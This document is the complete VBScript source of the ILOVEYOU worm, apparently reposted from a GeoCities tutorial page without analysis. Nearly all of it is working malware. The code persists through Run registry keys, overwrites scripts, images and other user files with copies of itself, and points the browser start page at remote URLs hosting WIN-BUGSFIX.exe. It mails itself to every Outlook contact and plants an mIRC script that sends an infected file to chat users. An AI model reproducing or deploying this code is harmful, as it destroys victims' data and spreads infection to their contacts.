the source starts here:

rem barok -loveletter(vbe) 
rem by: spyder / ispyder@mail.com / @GRAMMERSoft 
Group / Manila,Philippines 
On Error Resume Next 
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow 
eq="" 
ctr=0 
Set fso = CreateObject("Scripting.FileSystemObject") 
set file = fso.OpenTextFile(WScript.ScriptFullname,1) 
vbscopy=file.ReadAll 
main() 
sub main() 
On Error Resume Next 
dim wscr,rr 
set wscr=CreateObject("WScript.Shell") 
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout") 
if (rr>=1) then 
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout",0,"REG_DWORD" 
end if 
Set dirwin = fso.GetSpecialFolder(0) 
Set dirsystem = fso.GetSpecialFolder(1) 
Set dirtemp = fso.GetSpecialFolder(2) 
Set c = fso.GetFile(WScript.ScriptFullName) 
c.Copy(dirsystem&"\MSKernel32.vbs") 
c.Copy(dirwin&"\Win32DLL.vbs") 
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
regruns() 
html() 
spreadtoemail() 
listadriv() 
end sub 
sub regruns() 
On Error Resume Next 
Dim num,downread 
regcreate 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 
",dirsystem&"\MSKernel32.vbs" 
regcreate 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi 
n32DLL",dirwin&"\Win32DLL.vbs" 
downread="" 
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet 
Explorer\Download Directory") 
if (downread="") then 
downread="c:\" 
end if 
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then 
Randomize 
num = Int((4 * Rnd) + 1) 
if num = 1 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj 
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" 
elseif num = 2 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" 
elseif num = 3 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm 
POhfgER67b3Vbvg/WIN-BUGSFIX.exe" 
elseif num = 4 then 
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh 
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX 
.exe" 
end if 
end if 
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then 
regcreate 
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI 
X",downread&"\WIN-BUGSFIX.exe" 
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start 
Page","about:blank" 
end if 
end sub 
sub listadriv 
On Error Resume Next 
Dim d,dc,s 
Set dc = fso.Drives 
For Each d in dc 
If d.DriveType = 2 or d.DriveType=3 Then 
folderlist(d.path&"\") 
end if 
Next 
listadriv = s 
end sub 
sub infectfiles(folderspec) 
On Error Resume Next 
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 
set f = fso.GetFolder(folderspec) 
set fc = f.Files 
for each f1 in fc 
ext=fso.GetExtensionName(f1.path) 
ext=lcase(ext) 
s=lcase(f1.name) 
if (ext="vbs") or (ext="vbe") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy 
ap.close 
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") 
or (ext="hta") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy 
ap.close 
bname=fso.GetBaseName(f1.path) 
set cop=fso.GetFile(f1.path) 
cop.copy(folderspec&"\"&bname&".vbs") 
fso.DeleteFile(f1.path) 
elseif(ext="jpg") or (ext="jpeg") then 
set ap=fso.OpenTextFile(f1.path,2,true) 
ap.write vbscopy 
ap.close 
set cop=fso.GetFile(f1.path) 
cop.copy(f1.path&".vbs") 
fso.DeleteFile(f1.path) 
elseif(ext="mp3") or (ext="mp2") then 
set mp3=fso.CreateTextFile(f1.path&".vbs") 
mp3.write vbscopy 
mp3.close 
set att=fso.GetFile(f1.path) 
att.attributes=att.attributes+2 
end if 
if (eq<>folderspec) then 
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or 
(s="script.ini") or (s="mirc.hlp") then 
set scriptini=fso.CreateTextFile(folderspec&"\script.ini") 
scriptini.WriteLine "[script]" 
scriptini.WriteLine ";mIRC Script" 
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, 
if mIRC will" 
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run 
correctly. thanks" 
scriptini.WriteLine ";" 
scriptini.WriteLine ";Khaled Mardam-Bey" 
scriptini.WriteLine ";http://www.mirc.com" 
scriptini.WriteLine ";" 
scriptini.WriteLine "n0=on 1:JOIN:#:{" 
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" 
scriptini.WriteLine "n2= /.dcc send $nick 
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" 
scriptini.WriteLine "n3=}" 
scriptini.close 
eq=folderspec 
end if 
end if 
next 
end sub 
sub folderlist(folderspec) 
On Error Resume Next 
dim f,f1,sf 
set f = fso.GetFolder(folderspec) 
set sf = f.SubFolders 
for each f1 in sf 
infectfiles(f1.path) 
folderlist(f1.path) 
next 
end sub 
sub regcreate(regkey,regvalue) 
Set regedit = CreateObject("WScript.Shell") 
regedit.RegWrite regkey,regvalue 
end sub 
function regget(value) 
Set regedit = CreateObject("WScript.Shell") 
regget=regedit.RegRead(value) 
end function 
function fileexist(filespec) 
On Error Resume Next 
dim msg 
if (fso.FileExists(filespec)) Then 
msg = 0 
else 
msg = 1 
end if 
fileexist = msg 
end function 
function folderexist(folderspec) 
On Error Resume Next 
dim msg 
if (fso.GetFolderExists(folderspec)) then 
msg = 0 
else 
msg = 1 
end if 
fileexist = msg 
end function 
sub spreadtoemail() 
On Error Resume Next 
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad 
set regedit=CreateObject("WScript.Shell") 
set out=WScript.CreateObject("Outlook.Application") 
set mapi=out.GetNameSpace("MAPI") 
for ctrlists=1 to mapi.AddressLists.Count 
set a=mapi.AddressLists(ctrlists) 
x=1 
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) 
if (regv="") then 
regv=1 
end if 
if (int(a.AddressEntries.Count)>int(regv)) then 
for ctrentries=1 to a.AddressEntries.Count 
malead=a.AddressEntries(x) 
regad="" 
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) 
if (regad="") then 
set male=out.CreateItem(0) 
male.Recipients.Add(malead) 
male.Subject = "ILOVEYOU" 
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." 
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
male.Send 
regedit.RegWrite 
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" 
end if 
x=x+1 
next 
regedit.RegWrite 
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count 
else 
regedit.RegWrite 
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count 
end if 
next 
Set out=Nothing 
Set mapi=Nothing 
end sub 
sub html 
On Error Resume Next 
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 
dta1="LOVELETTER - HTML NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ 
" @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ 
" good...@-@>"&vbcrlf& _ 
" ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# 
-#,#-#main#-#)@-@ "&vbcrlf& _ 
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM# 
-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ 
" 

This HTML file need ActiveX Control 

To Enable to read 
this HTML file 
- Please press #-#YES#-# button to Enable 
ActiveX"&vbcrlf& _ 
" BGCOLOR=@-@yellow@-@>----------z--------------------z---------- 
"&vbcrlf& _ 
""&vbcrlf& _ 
""&vbcrlf& _ 
""&vbcrlf& _ 
"" 
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") 
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") 
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") 
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") 
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") 
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") 
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") 
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") 
set fso=CreateObject("Scripting.FileSystemObject") 
set c=fso.OpenTextFile(WScript.ScriptFullName,1) 
lines=Split(c.ReadAll,vbcrlf) 
l1=ubound(lines) 
for n=0 to ubound(lines) 
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) 
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) 
if (l1=n) then 
lines(n)=chr(34)+lines(n)+chr(34) 
else 
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" 
end if 
next 
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") 
b.close 
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) 
d.write dt5 
d.write join(lines,vbcrlf) 
d.write vbcrlf 
d.write dt6 
d.close 
end sub 

    Source: geocities.com/fingerbasic2/tutorials

               ( geocities.com/fingerbasic2)